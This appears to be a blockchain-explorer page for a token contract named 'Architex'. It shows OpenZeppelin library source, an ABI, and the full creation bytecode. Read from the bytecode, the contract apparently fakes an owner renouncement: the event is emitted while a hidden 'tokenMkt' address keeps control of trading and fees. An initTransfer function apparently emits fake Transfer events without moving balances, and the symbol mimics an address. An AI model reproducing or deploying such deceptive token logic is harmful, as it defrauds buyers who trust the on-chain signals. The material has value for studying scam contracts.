            if (value >> 32 > 0) {
                value >>= 32;
                result += 4;
            }
            if (value >> 16 > 0) {
                value >>= 16;
                result += 2;
            }
            if (value >> 8 > 0) {
                result += 1;
            }
        }
        return result;
    }

    /**
     * @dev Return the log in base 256, following the selected rounding direction, of a positive value.
     * Returns 0 if given 0.
     */
    function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = log256(value);
            return result + (unsignedRoundsUp(rounding) && 1 << (result << 3) < value ? 1 : 0);
        }
    }

    /**
     * @dev Returns whether a provided rounding mode is considered rounding up for unsigned integers.
     */
    function unsignedRoundsUp(Rounding rounding) internal pure returns (bool) {
        return uint8(rounding) % 2 == 1;
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (utils/Multicall.sol)

pragma solidity ^0.8.20;

import {Address} from "./Address.sol";

/**
 * @dev Provides a function to batch together multiple calls in a single external call.
 */
abstract contract Multicall {
    /**
     * @dev Receives and executes a batch of function calls on this contract.
     * @custom:oz-upgrades-unsafe-allow-reachable delegatecall
     */
    function multicall(bytes[] calldata data) external virtual returns (bytes[] memory results) {
        results = new bytes[](data.length);
        for (uint256 i = 0; i < data.length; i++) {
            results[i] = Address.functionDelegateCall(address(this), data[i]);
        }
        return results;
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (access/Ownable.sol)

pragma solidity ^0.8.20;

import {Context} from "./Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * The initial owner is set to the address provided by the deployer. This can
 * later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    /**
     * @dev The caller account is not authorized to perform an operation.
     */
    error OwnableUnauthorizedAccount(address account);

    /**
     * @dev The owner is not a valid owner account. (eg. `address(0)`)
     */
    error OwnableInvalidOwner(address owner);

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the address provided by the deployer as the initial owner.
     */
    constructor(address initialOwner) {
        if (initialOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(initialOwner);
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (utils/math/SignedMath.sol)

pragma solidity ^0.8.20;

/**
 * @dev Standard signed math utilities missing in the Solidity language.
 */
library SignedMath {
    /**
     * @dev Returns the largest of two signed numbers.
     */
    function max(int256 a, int256 b) internal pure returns (int256) {
        return a > b ? a : b;
    }

    /**
     * @dev Returns the smallest of two signed numbers.
     */
    function min(int256 a, int256 b) internal pure returns (int256) {
        return a < b ? a : b;
    }

    /**
     * @dev Returns the average of two signed numbers without overflow.
     * The result is rounded towards zero.
     */
    function average(int256 a, int256 b) internal pure returns (int256) {
        // Formula from the book "Hacker's Delight"
        int256 x = (a & b) + ((a ^ b) >> 1);
        return x + (int256(uint256(x) >> 255) & (a ^ b));
    }

    /**
     * @dev Returns the absolute unsigned value of a signed value.
     */
    function abs(int256 n) internal pure returns (uint256) {
        unchecked {
            // must be unchecked in order to support `n = type(int256).min`
            return uint256(n >= 0 ? n : -n);
        }
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"onlyOwner","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"TOKEN_MKT","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"initTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"storeData","outputs":[{"internalType":"address","name":"tokenMkt","type":"address"},{"internalType":"uint8","name":"buyFee","type":"uint8"},{"internalType":"uint8","name":"sellFee","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"_buy","type":"uint8"},{"internalType":"uint8","name":"_sell","type":"uint8"}],"name":"updateFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"updatePair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052601260035f6101000a81548160ff021916908360ff160217905550606460025462000030919062000536565b600555737a250d5630b4cf539739df2c5dacb4c659f2488d60095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555034801562000093575f80fd5b5060405162002c0538038062002c058339818101604052810190620000b9919062000721565b60035f9054906101000a900460ff16600a620000d6919062000914565b81620000e3919062000964565b600281905550825f9081620000f9919062000bdc565b5081600190816200010b919062000bdc565b505f8060405180606001604052803373ffffffffffffffffffffffffffffffffffffffff1681526020018360ff1681526020018260ff1681525060045f820151815f015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151815f0160146101000a81548160ff021916908360ff1602179055506040820151815f0160156101000a81548160ff021916908360ff1602179055509050507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60075f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555033600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620002de33336200044f60201b60201c565b606480600254620002f0919062000964565b620002fc919062000536565b60065f600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60065f600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546040516200043c919062000cd1565b60405180910390a3505050505062000cec565b81600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b5f819050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6200054282620004d3565b91506200054f83620004d3565b925082620005625762000561620004dc565b5b828204905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b620005ce8262000586565b810181811067ffffffffffffffff82111715620005f057620005ef62000596565b5b80604052505050565b5f620006046200056d565b9050620006128282620005c3565b919050565b5f67ffffffffffffffff82111562000634576200063362000596565b5b6200063f8262000586565b9050602081019050919050565b5f5b838110156200066b5780820151818401526020810190506200064e565b5f8484015250505050565b5f6200068c620006868462000617565b620005f9565b905082815260208101848484011115620006ab57620006aa62000582565b5b620006b88482856200064c565b509392505050565b5f82601f830112620006d757620006d66200057e565b5b8151620006e984826020860162000676565b91505092915050565b620006fd81620004d3565b811462000708575f80fd5b50565b5f815190506200071b81620006f2565b92915050565b5f805f606084860312156200073b576200073a62000576565b5b5f84015167ffffffffffffffff8111156200075b576200075a6200057a565b5b6200076986828701620006c0565b935050602084015167ffffffffffffffff8111156200078d576200078c6200057a565b5b6200079b86828701620006c0565b9250506040620007ae868287016200070b565b9150509250925092565b5f8160011c9050919050565b5f808291508390505b60018511156200081557808604811115620007ed57620007ec62000509565b5b6001851615620007fd5780820291505b80810290506200080d85620007b8565b9450620007cd565b94509492505050565b5f826200082f576001905062000901565b816200083e575f905062000901565b8160018114620008575760028114620008625762000898565b600191505062000901565b60ff84111562000877576200087662000509565b5b8360020a91508482111562000891576200089062000509565b5b5062000901565b5060208310610133831016604e8410600b8410161715620008d25782820a905083811115620008cc57620008cb62000509565b5b62000901565b620008e18484846001620007c4565b92509050818404811115620008fb57620008fa62000509565b5b81810290505b9392505050565b5f60ff82169050919050565b5f6200092082620004d3565b91506200092d8362000908565b92506200095c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200081e565b905092915050565b5f6200097082620004d3565b91506200097d83620004d3565b92508282026200098d81620004d3565b91508282048414831517620009a757620009a662000509565b5b5092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620009fd57607f821691505b60208210810362000a135762000a12620009b8565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830262000a777fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000a3a565b62000a83868362000a3a565b95508019841693508086168417925050509392505050565b5f819050919050565b5f62000ac462000abe62000ab884620004d3565b62000a9b565b620004d3565b9050919050565b5f819050919050565b62000adf8362000aa4565b62000af762000aee8262000acb565b84845462000a46565b825550505050565b5f90565b62000b0d62000aff565b62000b1a81848462000ad4565b505050565b5b8181101562000b415762000b355f8262000b03565b60018101905062000b20565b5050565b601f82111562000b905762000b5a8162000a19565b62000b658462000a2b565b8101602085101562000b75578190505b62000b8d62000b848562000a2b565b83018262000b1f565b50505b505050565b5f82821c905092915050565b5f62000bb25f198460080262000b95565b1980831691505092915050565b5f62000bcc838362000ba1565b9150826002028217905092915050565b62000be782620009ae565b67ffffffffffffffff81111562000c035762000c0262000596565b5b62000c0f8254620009e5565b62000c1c82828562000b45565b5f60209050601f83116001811462000c52575f841562000c3d578287015190505b62000c49858262000bbf565b86555062000cb8565b601f19841662000c628662000a19565b5f5b8281101562000c8b5784890151825560018201915060208501945060208101905062000c64565b8683101562000cab578489015162000ca7601f89168262000ba1565b8355505b6001600288020188555050505b505050505050565b62000ccb81620004d3565b82525050565b5f60208201905062000ce65f83018462000cc0565b92915050565b611f0b8062000cfa5f395ff3fe608060405260043610610101575f3560e01c806370a0823111610094578063a8aa1b3111610063578063a8aa1b3114610322578063a9059cbb1461034c578063c9567bf914610388578063dd62ed3e1461039e578063f2fde38b146103da57610108565b806370a082311461027e578063715018a6146102ba5780638c2dabbe146102d057806395d89b41146102f857610108565b806323b872dd116100d057806323b872dd146101c4578063313ce567146102005780634abe30521461022a578063683ad2ec1461025657610108565b806306fdde031461010c578063095ea7b31461013657806318160ddd146101725780631b56bbf91461019c57610108565b3661010857005b5f80fd5b348015610117575f80fd5b50610120610402565b60405161012d91906116ef565b60405180910390f35b348015610141575f80fd5b5061015c600480360381019061015791906117a4565b610491565b60405161016991906117fc565b60405180910390f35b34801561017d575f80fd5b5061018661057e565b6040516101939190611824565b60405180910390f35b3480156101a7575f80fd5b506101c260048036038101906101bd919061183d565b610584565b005b3480156101cf575f80fd5b506101ea60048036038101906101e59190611868565b610633565b6040516101f791906117fc565b60405180910390f35b34801561020b575f80fd5b506102146106d6565b60405161022191906118d3565b60405180910390f35b348015610235575f80fd5b5061023e6106e8565b60405161024d939291906118fb565b60405180910390f35b348015610261575f80fd5b5061027c6004803603810190610277919061195a565b610736565b005b348015610289575f80fd5b506102a4600480360381019061029f919061183d565b6107b0565b6040516102b19190611824565b60405180910390f35b3480156102c5575f80fd5b506102ce6107c5565b005b3480156102db575f80fd5b506102f660048036038101906102f19190611a4e565b6108ae565b005b348015610303575f80fd5b5061030c6109e1565b60405161031991906116ef565b60405180910390f35b34801561032d575f80fd5b50610336610a71565b6040516103439190611adf565b60405180910390f35b348015610357575f80fd5b50610372600480360381019061036d91906117a4565b610a96565b60405161037f91906117fc565b60405180910390f35b348015610393575f80fd5b5061039c610aaa565b005b3480156103a9575f80fd5b506103c460048036038101906103bf9190611af8565b610d00565b6040516103d19190611824565b60405180910390f35b3480156103e5575f80fd5b5061040060048036038101906103fb919061183d565b610d20565b005b60605f805461041090611b63565b80601f016020809104026020016040519081016040528092919081815260200182805461043c90611b63565b80156104875780601f1061045e57610100808354040283529160200191610487565b820191905f5260205f20905b81548152906001019060200180831161046a57829003601f168201915b5050505050905090565b5f8160075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161056c9190611824565b60405180910390a36001905092915050565b60025481565b61058c610e0a565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146105f0576040517f1036e0a800000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b8060085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f8160075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546106bb9190611bc0565b925050819055506106cd848484610e34565b90509392505050565b60035f9054906101000a900460ff1681565b6004805f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690805f0160149054906101000a900460ff1690805f0160159054906101000a900460ff16905083565b61073e610e0a565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146107a2576040517f1036e0a800000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6107ac8282611627565b5050565b6006602052805f5260405f205f915090505481565b6107cd610e0a565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610831576040517f1036e0a800000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff16600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3565b6108b6610e0a565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461091a576040517f1036e0a800000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f5b848490508110156109d95784848281811061093a57610939611bf3565b5b905060200201602081019061094f919061183d565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8585858181106109b0576109af611bf3565b5b905060200201356040516109c49190611824565b60405180910390a3808060010191505061091c565b505050505050565b6060600180546109f090611b63565b80601f0160208091040260200160405190810160405280929190818152602001828054610a1c90611b63565b8015610a675780601f10610a3e57610100808354040283529160200191610a67565b820191905f5260205f20905b815481529060010190602001808311610a4a57829003601f168201915b5050505050905090565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f610aa2338484610e34565b905092915050565b610ab2610e0a565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ae8575f80fd5b600960159054906101000a900460ff1615610b01575f80fd5b5f60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b6c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b909190611c34565b90505f60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bfd573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c219190611c34565b90505f8273ffffffffffffffffffffffffffffffffffffffff1663e6a4390530846040518363ffffffff1660e01b8152600401610c5f929190611c5f565b602060405180830381865afa158015610c7a573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c9e9190611c34565b90508060085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600960156101000a81548160ff021916908315150217905550505050565b6007602052815f5260405f20602052805f5260405f205f91509150505481565b610d28610e0a565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d8c576040517f1036e0a800000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b5f60045f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f80610e3e610e0a565b9050600960159054906101000a900460ff1680610e8657508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b80610ebc57508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b610ec4575f80fd5b8260065f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610f109190611bc0565b9250508190555060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610f805750600960149054906101000a900460ff16155b8015610fcb575060055460065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410155b801561100357508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15611247576001600960146101000a81548160ff0219169083151502179055505f600267ffffffffffffffff81111561103f5761103e611c86565b5b60405190808252806020026020018201604052801561106d5781602001602082028036833780820191505090505b50905030815f8151811061108457611083611bf3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611128573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061114c9190611c34565b816001815181106111605761115f611bf3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663eb6f61396005545f8430426040518663ffffffff1660e01b81526004016111fe959493929190611dac565b5f604051808303815f87803b158015611215575f80fd5b505af1158015611227573d5f803e3d5ffd5b505050505f600960146101000a81548160ff021916908315150217905550505b5f8060045f0160149054906101000a900460ff1660045f0160159054906101000a900460ff16915091503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16141580156112c0575060011515600960159054906101000a900460ff161515145b156113a1575f606460085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff16146113225783611324565b825b60ff16876113329190611e04565b61133c9190611e72565b9050808661134a9190611bc0565b95508060065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546113989190611ea2565b92505081905550505b8460065f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546113ed9190611ea2565b92505081905550600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16036114d3578573ffffffffffffffffffffffffffffffffffffffff16600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040516114c69190611824565b60405180910390a3611619565b600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16036115b257600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040516115a59190611824565b60405180910390a3611618565b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8760405161160f9190611824565b60405180910390a35b5b600193505050509392505050565b8160045f0160146101000a81548160ff021916908360ff1602179055508060045f0160156101000a81548160ff021916908360ff1602179055505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561169c578082015181840152602081019050611681565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6116c182611665565b6116cb818561166f565b93506116db81856020860161167f565b6116e4816116a7565b840191505092915050565b5f6020820190508181035f83015261170781846116b7565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61174082611717565b9050919050565b61175081611736565b811461175a575f80fd5b50565b5f8135905061176b81611747565b92915050565b5f819050919050565b61178381611771565b811461178d575f80fd5b50565b5f8135905061179e8161177a565b92915050565b5f80604083850312156117ba576117b961170f565b5b5f6117c78582860161175d565b92505060206117d885828601611790565b9150509250929050565b5f8115159050919050565b6117f6816117e2565b82525050565b5f60208201905061180f5f8301846117ed565b92915050565b61181e81611771565b82525050565b5f6020820190506118375f830184611815565b92915050565b5f602082840312156118525761185161170f565b5b5f61185f8482850161175d565b91505092915050565b5f805f6060848603121561187f5761187e61170f565b5b5f61188c8682870161175d565b935050602061189d8682870161175d565b92505060406118ae86828701611790565b9150509250925092565b5f60ff82169050919050565b6118cd816118b8565b82525050565b5f6020820190506118e65f8301846118c4565b92915050565b6118f581611736565b82525050565b5f60608201905061190e5f8301866118ec565b61191b60208301856118c4565b61192860408301846118c4565b949350505050565b611939816118b8565b8114611943575f80fd5b50565b5f8135905061195481611930565b92915050565b5f80604083850312156119705761196f61170f565b5b5f61197d85828601611946565b925050602061198e85828601611946565b9150509250929050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f8401126119b9576119b8611998565b5b8235905067ffffffffffffffff8111156119d6576119d561199c565b5b6020830191508360208202830111156119f2576119f16119a0565b5b9250929050565b5f8083601f840112611a0e57611a0d611998565b5b8235905067ffffffffffffffff811115611a2b57611a2a61199c565b5b602083019150836020820283011115611a4757611a466119a0565b5b9250929050565b5f805f805f60608688031215611a6757611a6661170f565b5b5f611a748882890161175d565b955050602086013567ffffffffffffffff811115611a9557611a94611713565b5b611aa1888289016119a4565b9450945050604086013567ffffffffffffffff811115611ac457611ac3611713565b5b611ad0888289016119f9565b92509250509295509295909350565b5f602082019050611af25f8301846118ec565b92915050565b5f8060408385031215611b0e57611b0d61170f565b5b5f611b1b8582860161175d565b9250506020611b2c8582860161175d565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611b7a57607f821691505b602082108103611b8d57611b8c611b36565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611bca82611771565b9150611bd583611771565b9250828203905081811115611bed57611bec611b93565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050611c2e81611747565b92915050565b5f60208284031215611c4957611c4861170f565b5b5f611c5684828501611c20565b91505092915050565b5f604082019050611c725f8301856118ec565b611c7f60208301846118ec565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f819050919050565b5f819050919050565b5f611cdf611cda611cd584611cb3565b611cbc565b611771565b9050919050565b611cef81611cc5565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b611d2781611736565b82525050565b5f611d388383611d1e565b60208301905092915050565b5f602082019050919050565b5f611d5a82611cf5565b611d648185611cff565b9350611d6f83611d0f565b805f5b83811015611d9f578151611d868882611d2d565b9750611d9183611d44565b925050600181019050611d72565b5085935050505092915050565b5f60a082019050611dbf5f830188611815565b611dcc6020830187611ce6565b8181036040830152611dde8186611d50565b9050611ded60608301856118ec565b611dfa6080830184611815565b9695505050505050565b5f611e0e82611771565b9150611e1983611771565b9250828202611e2781611771565b91508282048414831517611e3e57611e3d611b93565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611e7c82611771565b9150611e8783611771565b925082611e9757611e96611e45565b5b828204905092915050565b5f611eac82611771565b9150611eb783611771565b9250828201905080821115611ecf57611ece611b93565b5b9291505056fea26469706673582212209cd084fb80a4c3545dd1cb3eb506f73f8b03c2f86405d94e88a6b33f4c82ac4464736f6c6343000818003300000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000180000000000000000000000000000000000000000000000000000000000098968000000000000000000000000000000000000000000000000000000000000000e94172636869746578202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020307838453464323764373732303939